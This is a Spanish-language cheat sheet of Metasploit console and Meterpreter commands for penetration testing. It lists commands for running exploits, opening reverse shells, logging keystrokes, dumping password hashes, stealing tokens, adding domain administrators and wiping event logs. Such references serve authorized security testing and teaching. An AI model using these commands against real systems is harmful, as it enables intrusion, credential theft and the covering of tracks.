Comandos de la consola de metasploit

show exploits	Mostrar todos los exploits del Framework.
show payloads	Mostrar todos los payloads del Framework.
show auxiliary	Mostrar todos los módulos auxiliares del Framework.
search [cadena]	Búsqueda por cadena
search type:[exploit, payload, auxiliary, encoder, post] [cadena]	Búsqueda por tipo y cadena
info	Muestra información acerca de un exploit cargado.
use [cadena]	Carga el exploit indicado.
LHOST	Variable local host
RHOST	Variable host remoto
set [parámetro] [valor]	Graba en el parámetro el valor indicado.
setg[parámetro] [valor]	Graba en valor para el parámetro indicado de forma global.
show options	Muestra las opciones de un exploit.
show targets	Muestra las plataformas objetivo del exploit.
set target [número]	Especifica un objetivo concreto de los posibles.
set payload [payload]	Especifica un payload a usar..
show advanced	Muestra las opciones avanzadas.
set autorunscript migrate -f	Migra el proceso a un hilo independiente de forma automática.
check	Comprueba si un objetivo es vulnerable a un exploit.
exploit	Ejecuta un exploit
exploit -j	Ejecuta un exploit en background.
exploit -z	No interactúa con la sesión después de acceder con éxito
exploit -e encoder	Especifica el encoder a usar con el payload
exploit -h	Muestra la ayuda para el exploit especificado
sessions -l	Muestra la lista de sesiones disponibles
sessions -l -v	Muestra la lista de sesiones disponibles en modo verbose
sessions -s [script]	Ejecuta un script específico en todas las sesiones de meterpreter activas.
sessions -K	Mata todas las sesiones activas
sessions -c cmd	Ejecuta un comando en todas las sesiones activas

sessions -u sessionID	Actualiza una shell de Win32 a una consola de meterpreter
db_create [nombre]	Crea una base de datos
db_connect [nombre]	Crea y se conecta a una base de datos
db_nmap	Usa y carga los resultados de Nmap en una base de datos
db_autopwn -h	Muestra la ayuda para usar db_autopwn.
db_autopwn -p -r -e	Ejecuta db_autopwn contra todos los puertos encontrados, usa una shell reversa y los explota.
db_destroy	Elimina la actual base de datos
db_destroy [usuario]:[contraseña]@[host]:[puerto]/[base_de_datos]	Borra una base de datos concreta

Comandos de Meterpreter

help	Muestra la ayuda.
run [script]	Ejecuta un script de meterpreter
sysinfo	Muestra la información del sistema comprometido
ls	Muestra los ficheros y directorios del sistema comprometido
use priv	Carga librerías para elevar privilegios
ps	Muestra los procesos en ejecución
migrate PID	Migra un proceso específico.
use incognito	Carga las librerías de incógnito.
list_tokens -u	Muestra los tokens disponibles por usuario
list_tokens -g	Muestra los tokens disponibles por grupo
impersonate_token [dominio]\\[usuario]	Apropiación de un token disponible del objetivo.
steal_token PID	Apropiación de un token disponible de un proceso dado
drop_token	Deja de usar el token actual
getsystem	Intenta elevar los privilegios del usuario de acceso.
shell	Ejecuta una Shell interactiva
execute -f cmd.exe -i	Ejecuta cmd.exe e interactúa con él
execute -f cmd.exe -i -t	Ejecuta cmd.exe con todos los tokens disponibles
execute -f cmd.exe -i -H -t	Ejecuta cmd.exe con todos los tokens disponibles y lo convierte en un proceso oculto.
rev2self	Retorna al usuario original que comprometió el sistema
reg [comando]	Ejecuta comandos en el registro del sistema

	comprometido
setdesktop [número]	Cambia de pantalla
screenshot	Toma una captura de pantalla del objetivo
upload file	Carga un fichero en el objetivo
download file	Descarga un fichero del objetivo
keyscan_start	Comienza el sniffing del teclado.
keyscan_dump	Vuelca las teclas pulsadas del sistema objetivo.
keyscan_stop	Para el sniffing del teclado.
getprivs	Intenta elevar privilegios.
uictl enable keyboard/mouse	Toma el control del teclado o ratón.
background	Sale de meterpreter sin cerrar la sesión.
hashdump	Obtiene todos los hashes del objetivo.
use sniffer	Carga las librerías para esnifar.
sniffer_interfaces	Lista los interfaces disponibles.
sniffer_dump [interfaceID] pcapname	Comienza a esnifar un interfaz.
sniffer_start [interfaceID] packet-buffer	Comienza a esnifar un rango específico.
sniffer_stats [interfaceID]	Para obtener estadísticas de la interfaz.
sniffer_stop interfaceID	Detiene el sniffer.
add_user [usuario] [contraseña] -h [ip]	Añade un usuario en el sistema objetivo.
add_group_user "Domain Admins" [usuario] -h [ip]	Añade un usuario al grupo de administradores en el sistema objetivo.
clearev	Vacía el log de eventos del sistema comprometido
timestomp	Cambia los atributos de un fichero.
reboot	Reinicia el sistema